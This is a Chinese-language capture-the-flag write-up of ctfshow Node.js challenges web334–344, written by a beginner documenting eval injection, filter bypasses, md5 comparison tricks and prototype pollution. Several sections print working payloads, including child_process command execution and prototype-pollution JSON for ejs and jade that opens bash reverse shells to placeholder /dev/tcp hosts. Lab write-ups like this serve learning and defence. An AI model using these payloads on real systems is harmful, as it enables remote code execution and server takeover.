前言
刚学了2天的node.js,我还是太菜了官方文档看的太懵,听学长说node.js的漏洞就那些,不用那么专注的学习。但是考虑到我对于javascript和node.js都实在不太懂,因此打算一遍做题,一遍学node.js的基础知识。
后来:终于把官方文档中的learn给看了一遍,大致对node.js有了一部分了解,也是肝下了人生中第一个英文的文档,参考链接:
Node.js learn
web334
主要关注这段代码:
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
toUpperCase()
是把字符串转小写,因此用小写绕过即可。
username=ctfshow&password=123456
羽师傅还提到了个trick:
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
学习一波。
web335
f12看到/?eval=
,猜测是eval()函数,查了一下,可以利用child_process
的exec来执行系统命令。
用了一下网上的payload,回显很奇怪:
然后就是想办法弹shell之类的,发现都不太行。(node.js萌新落泪)。
看了一下Y4师傅和羽师傅的博客,大致理解了这道题。
这题的代码可能是这样:
eval('console.log(xxx)')
查一下这个exec函数,返回值还是一个ChildProcess
所以会打印出[object Object]
。
Y4师傅用的是execSync():
因此可以直接打印出命令执行的结果:
require('child_process').execSync('ls').toString()
羽师傅用的是
eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
web336
ban了exec,用之前羽师傅的姿势即可:
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
再学习一下Y4师傅的姿势,因为对于node.js不熟悉,这样的小知识点只能慢慢从大师傅们的博客中学习了。
首先是两个东西:
__filename
__dirname
因此可以利用__filename
来获得当然的模块文件路径:
然后读取文件:
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
发现过滤了exec和load。
这时候就利用和ssti中有些类似的绕过手法了:
?eval=require('child_process')['exe'+'cSync']('ls').toString()
还有一种方法,就是利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件:
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')
学到了学到了,node.js的官方文档还是偷懒没看完,又去看了一下果然fs模块的东西后面也都有,还是不能偷懒啊。
web337
关键点就是这里了
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
弱类型和数组绕过在php见的太多了,第一次在node.js中遇到,把源码弄了下来,本地复现了一下:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
console.log(a)
console.log(b)
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.end("no")
}
});
let app=express()
app.use('/',router)
app.listen(39123)
这题很明显可以想到拿数组绕过,但是,数组传过去,req.query.a
到底得到的是什么。如果这样:a[]=1&b[]=2
:
得到的正好就是数组。这时候就相当于需要['1']+flag===['2']+flag
。注意一下node.js中拼接的问题:
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
这时候就有一种思路了,就是类似['a']+flag==='a'+flag
这样的,比如flag是flag{123}
,那么最后得到的都是aflag[123}
,因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag)
,同时也满足a!==b
:
还有一种思路。理解一下javascript的数组,会发现它相对来说,和python的列表更为相像,而不像php的数组,因为它只能是数字索引,那么如果传非数字索引呢?:
?a[x]=1&b[x]=2
变成javascript中的对象了。而对象又有这样的特点:
let a={
x:'1'
}
console.log(a+"flag{123}")
//返回的是: [object Object]flag{123}
因此传入两个对象,进行变量拼接后得到的都是[object Object]ctfshow{xxxxxx}
,再进行md5肯定也是相同的。本来我以为还需要让a对象和b对象的有不同的键或者虽然键全是相同的,但是有值不同,这样来满足a!==b
,但是发现并不需要,因为甚至这样,返回的都是false:
let a={
x:'1'
}
let b={
x:'2'
}
console.log(a===b)
//false
感觉这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b
。
web338
原型链污染,node.js最常见的考点了,参考链接:
深入理解 JavaScript Prototype 污染攻击
原型链污染的文章网上太多了,这里就不多介绍了,直接打了:
application/json
{
"__proto__":{
"ctfshow":"36dboy"}}
web339
预期解
做这题之前建议先把p神Code-Breaking 2018 Thejs
这题给看一下,同样是模板渲染导致的rce。
看完之后再来看这题,整体审一下代码,还是这里可以原型链污染:
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
//console.log(user.query)
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
但是if(secert.ctfshow===flag){
是没法满足的,因此这里没法利用。
一开始感觉api.js没有用,其实再想想的话,这里:
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {
query: Function(query)(query)});
});
进行模板渲染,联想上面的Thejs那题,这里Function的参数和里面的js语句如果可控的话就同样是模板渲染导致的rce了。那么能不能利用原型链污染来控制这个query呢?是可以的,这里我问了一下Y4师傅,它是这样回答的:
因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键zhi对是否存在
想了好久没理解,终于懂了。
因此直接rce来反弹shell即可:
{
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}
之所以要套2层bash,就是本地测试,发现一层bash的话会报错:
先/login那里污染一下发包,然后再post访问一下/api即可。
payload中不用require的原因是这个:
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
非预期
非预期的原因就是这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}
参考文章:
Express+lodash+ejs: 从原型链污染到RCE
XNUCA2019 Hardjs题解 从原型链污染到RCE
有一说一我只看最后那部分。。中间一堆跟进看的我脑子疼。。。还是太菜了,慢慢学习node.js,慢慢提升一下代码审计的能力。
web340
和上一题差不多,只不过这里不一样:
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
可以看到,user.__proto__
并不是Object.prototype
,user.__proto.__proto__
才是:
因此污染两层即可:
{
"__proto__":{
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.11/11111 0>&1\"')"}}}
web341
使用之前的那个ejs rce,先进行一下原型链污染,再刷新一次即可:
{
"__proto__":{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}
web342
对比了一下这题和之前题目的区别,发现模板引擎改成了jade,网上找的用不了,用一下L0nm4r师傅的博客里写的:
{
"__proto__":{
"__proto__":{
"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}
web343
同上。ejs,还有jade的这些模板rce暂时只用,不去具体跟着网上的文章审了。现在暂时对于node.js只是刚刚入门,代码也只能看懂很少的一部分,去跟着网上的文章审计,对于现在的我来说并不能学到什么东西,等自己的node.js功底更深了,对于开发的思维更深了,再来复现,才能学到更多的东西,有自己的思考。
web344
看一下代码:
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
console.log(req.url)
if(req.url.match(/8c|2c|\,/ig)){
res.end('111where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('222where is flag. :)');
}
});
正常就是这样:?query={"name":"admin","password":"ctfshow","isVIP":true}
,但是不行,发现把逗号给过滤了,想不出来绕过的办法,看了一下羽师傅的文章。
有2个点,一个点就是node.js处理的特点和JSON.parse,另外一个点就是req.url是经过url编码的。把这部分代码改一下:
var flag = 'flag_here';
console.log(req.url)
if(req.url.match(/8c|2c|\,/ig)){
res.end('111where is flag :)');
}
console.log(req.query.query)
var query = JSON.parse(req.query.query);
console.log(query)
分别console.log,本地测试一下就可以看到,req.url是经过编码的,因此可以考虑把逗号进行url编码,但是会发现2c
被ban了,因此%2c
来绕过也没法绕,因此要利用node.js本身的特性。
这样传:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse
居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63
,就是因为前面的%22
,会造成%22c
,正好ban了2c
,所以c也需要进行url编码。学到了学到了,很有意思的特性。